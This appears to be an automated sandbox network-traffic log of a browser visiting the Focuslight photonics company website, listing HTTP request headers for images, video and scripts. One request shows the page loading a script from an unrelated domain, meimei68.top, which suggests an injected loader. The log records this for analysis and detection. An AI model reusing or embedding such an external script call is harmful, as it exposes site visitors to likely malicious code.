Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/Heptagon-Logo-white.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/gwcicnred0.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/gwcicn0.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/sousuo0.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2025/01/2025-2-28-%E6%B6%88%E8%B4%B9%E7%94%B5%E5%AD%90-EN-scaled.jpg HTTP/1.1Host: focuslight-www.oss-ap-southeast-1.aliyuncs.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://www.focuslight.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2025/05/LWOP-EN-scaled.jpg HTTP/1.1Host: focuslight-www.oss-ap-southeast-1.aliyuncs.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://www.focuslight.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2025/03/V-groove-EN-1-scaled.jpg HTTP/1.1Host: focuslight-www.oss-ap-southeast-1.aliyuncs.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://www.focuslight.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2025/03/Global-Optimization-EN-1-scaled.jpg HTTP/1.1Host: focuslight-www.oss-ap-southeast-1.aliyuncs.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://www.focuslight.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/logo1.svg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/jticn0.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/jticn1.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/whicn0.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/whicn1.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/whicn2.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/spvideicn.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/jiantouup.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/clicook.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/jtrired1.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/xiangxia.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/jtlered0.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/01/%E8%BF%91%E6%9C%9F%E5%8F%82%E5%B1%95%E4%BF%A1%E6%81%AFEN.jpg HTTP/1.1Host: focuslight-www.oss-ap-southeast-1.aliyuncs.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://www.focuslight.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/closevideo0.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/dtimg.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/wlicn0.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/20230911094506.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/wlicn2.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/wlicn3.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/weixincodeimage.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/logo1.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2025/03/V-groove-EN-1-scaled.jpg HTTP/1.1Host: focuslight-www.oss-ap-southeast-1.aliyuncs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2025/05/LWOP-EN-scaled.jpg HTTP/1.1Host: focuslight-www.oss-ap-southeast-1.aliyuncs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2025/01/2025-2-28-%E6%B6%88%E8%B4%B9%E7%94%B5%E5%AD%90-EN-scaled.jpg HTTP/1.1Host: focuslight-www.oss-ap-southeast-1.aliyuncs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2025/03/Global-Optimization-EN-1-scaled.jpg HTTP/1.1Host: focuslight-www.oss-ap-southeast-1.aliyuncs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lftracker_v1_ywVkO4X3lld7Z6Bj.js HTTP/1.1host: sc.lfeeder.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: cross-sitesec-fetch-mode: no-corssec-fetch-dest: scriptsec-fetch-storage-access: activereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/05/%E5%85%89%E9%80%9A%E4%BF%A1.jpg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/05/%E6%B6%88%E8%B4%B9%E7%94%B5%E5%AD%90.jpg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/12/Focuslight-Advancing-Photonics-Technologies-Around-the-World-1.mp4 HTTP/1.1Host: focuslight-www.oss-ap-southeast-1.aliyuncs.comConnection: keep-alivesec-ch-ua-platform: "Windows"Accept-Encoding: identity;q=1, ;q=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: videoSec-Fetch-Storage-Access: activeReferer: https://www.focuslight.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/05/%E5%85%88%E8%BF%9B%E5%88%B6%E9%80%A0.jpg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/05/%E6%B1%BD%E8%BD%A6%E5%BA%94%E7%94%A8.jpg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/05/%E5%8C%BB%E7%96%97%E5%81%A5%E5%BA%B7.jpg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/01/%E8%BF%91%E6%9C%9F%E5%8F%82%E5%B1%95%E4%BF%A1%E6%81%AFEN.jpg HTTP/1.1Host: focuslight-www.oss-ap-southeast-1.aliyuncs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lsass/index.php?fHYWBUn3 HTTP/1.1Host: meimei68.topConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.focuslight.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/09/%E7%A7%91%E5%AD%A6%E7%A0%94%E7%A9%B6.jpg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/12/Focuslight-Advancing-Photonics-Technologies-Around-the-World-1.mp4 HTTP/1.1Host: focuslight-www.oss-ap-southeast-1.aliyuncs.comConnection: keep-alivesec-ch-ua-platform: "Windows"Accept-Encoding: identity;q=1, ;q=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: videoSec-Fetch-Storage-Access: activeReferer: https://www.focuslight.com/Accept-Language: en-US,en;q=0.9Range: bytes=160694272-160884554If-Range: "DC118A8773E9D272246DBD8EFF6CBA2D"
